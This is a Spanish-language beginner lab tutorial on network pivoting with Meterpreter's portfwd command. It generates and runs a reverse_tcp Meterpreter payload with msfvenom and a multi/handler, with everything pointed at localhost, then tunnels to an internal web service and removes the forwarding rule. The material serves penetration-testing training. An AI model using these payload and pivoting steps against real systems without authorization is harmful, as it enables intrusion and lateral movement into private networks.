Realizar Pivote de Red con portfwd en Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá sobre el pivoteo de red, una técnica fundamental en las pruebas de penetración. El pivoteo es el proceso de utilizar un sistema comprometido para acceder a otros sistemas en una red interna que no son directamente accesibles desde su máquina.

Utilizaremos Meterpreter de Metasploit, una potente carga útil (payload) de post-explotación, y su comando portfwd para lograr esto. Aprenderá a configurar un reenvío de puertos (port forward) para tunelizar el tráfico a través de un host comprometido, lo que le permitirá interactuar con servicios en su red local como si estuviera conectado directamente.

Identificar un servicio en la red interna de un objetivo

En este paso, simularemos la obtención de una sesión de Meterpreter en una máquina objetivo. En un escenario real, esto se lograría explotando una vulnerabilidad. Para este laboratorio, configuraremos un listener en Metasploit y ejecutaremos manualmente una carga útil (payload) para conectarnos a él. Esto nos permitirá centrarnos en la fase de post-explotación.

Primero, necesitamos instalar el Metasploit Framework.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

A continuación, abra una terminal e inicie la consola de Metasploit.

msfconsole -q

Dentro de msfconsole, configuraremos un manejador (handler) para escuchar las conexiones entrantes.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Ahora, abra una nueva terminal (puede usar el botón "+" en la pestaña de la terminal). En esta nueva terminal, generaremos y ejecutaremos una carga útil para conectarnos de vuelta a nuestro listener.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Vuelva a su primera terminal con msfconsole. Debería ver un mensaje indicando que se ha abierto una nueva sesión. Interactuemos con ella.

sessions -l
sessions -i 1

Ahora se encuentra en una sesión de Meterpreter. Un primer paso común es realizar reconocimiento. Verifiquemos las interfaces de red del host "comprometido".

ifconfig

Verá varias interfaces de red. Para este laboratorio, asumiremos que, a través de un escaneo adicional (que está fuera del alcance de este laboratorio), hemos descubierto un servicio web ejecutándose en 127.0.0.1 en el puerto 8080. Nuestro objetivo es acceder a este servicio.

Usar el comando portfwd add en Meterpreter

En este paso, exploraremos el comando portfwd, que es una herramienta clave para el reenvío de puertos en Meterpreter.

El comando portfwd nos permite crear un túnel, redirigiendo el tráfico desde un puerto en nuestra máquina local (atacante) a una IP y puerto específicos accesibles desde el host comprometido. Esta es la esencia del pivoteo.

El comando tiene varias opciones, pero nos centraremos en add, list y delete (o rm).

La sintaxis para agregar una nueva regla de reenvío de puertos es la siguiente:

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Analicemos los parámetros para la operación add:

  • -l <local_port>: El puerto en su máquina local (la máquina atacante) que escuchará las conexiones entrantes. Se conectará a este puerto para acceder al servicio remoto.
  • -p <remote_port>: El puerto de destino en la red objetivo al que desea acceder. En nuestro caso, este es 8080.
  • -r <remote_host>: La dirección IP de destino en la red objetivo. Este host debe ser alcanzable por la máquina comprometida. En nuestro caso, este es 127.0.0.1.

En el siguiente paso, utilizaremos este comando para crear una regla de reenvío para el servicio web que identificamos.

Reenviar un puerto desde el host comprometido a su máquina Kali

Ahora que comprende el comando portfwd add, utilicémoslo para reenviar el servicio web interno a nuestra máquina local.

Nuestro objetivo es acceder al servicio que se ejecuta en 127.0.0.1:8080 (desde la perspectiva del host comprometido) conectándonos a un puerto en nuestra propia máquina. Elegiremos el puerto local 8888 para este propósito.

En su sesión de Meterpreter, ejecute el siguiente comando:

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Este comando le indica a Meterpreter que escuche en su puerto local 8888 y reenvíe cualquier conexión a 127.0.0.1:8080 en el sistema objetivo. Debería ver un mensaje de confirmación.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

El reenvío está ahora activo. Cualquier tráfico enviado a localhost:8888 en su máquina se tunelizará a través de la sesión de Meterpreter al puerto 8080 del objetivo.

Acceder al servicio interno a través del nuevo puerto local

Con el reenvío de puertos configurado, ahora podemos acceder al servicio web interno como si se estuviera ejecutando en nuestra propia máquina.

Abra una nueva terminal en su máquina (no cierre la terminal de msfconsole).

Utilice una herramienta de línea de comandos como curl para realizar una solicitud al puerto local que configuró (8888). Esta solicitud se enviará a su máquina local.

curl http://127.0.0.1:8888

La solicitud viajará desde su cliente curl a su puerto local 8888, a través de la sesión de Meterpreter al host comprometido, y finalmente al servicio web en 127.0.0.1:8080. Debería ver el contenido HTML de la página web interna como resultado.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

¡Éxito! Ha pivotado con éxito a la red del objetivo y ha accedido a un servicio que no era directamente accesible.

Listar y eliminar la regla de reenvío de puertos

Después de haber terminado de usar el pivote, es una buena práctica limpiar sus reglas de reenvío de puertos para eliminar rastros y liberar recursos.

Primero, listemos todas las reglas de reenvío de puertos activas. Vuelva a su sesión de Meterpreter y utilice el comando portfwd list.

portfwd list

Verá una tabla que enumera los reenvíos activos, incluyendo su número de índice, tipo y detalles de conexión.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

Para eliminar una regla, puede usar portfwd delete o portfwd rm. Debe proporcionar el número de índice de la regla de la lista. En nuestro caso, el índice es 1.

Ejecute el siguiente comando para eliminar la regla:

portfwd delete -i 1

Debería ver una confirmación de que el reenvío TCP se ha detenido.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

Puede ejecutar portfwd list nuevamente para confirmar que la regla ha sido eliminada. La lista ahora debería estar vacía. Esto asegura que el túnel se cierre y que su máquina ya no esté escuchando en el puerto 8888.

Resumen

En este laboratorio, aprendió los fundamentos del pivote de red utilizando la utilidad portfwd de Meterpreter.

Simuló con éxito la obtención de una sesión de Meterpreter, identificó un servicio interno hipotético y creó una regla de reenvío de puertos para tunelizar el tráfico desde su máquina local a la red interna del objetivo. Luego accedió a este servicio interno a través del túnel y aprendió a listar y eliminar las reglas de reenvío para limpiar su sesión.

Esta técnica es una habilidad fundamental en las pruebas de penetración, ya que le permite expandir su acceso desde un único host comprometido a una red interna completa.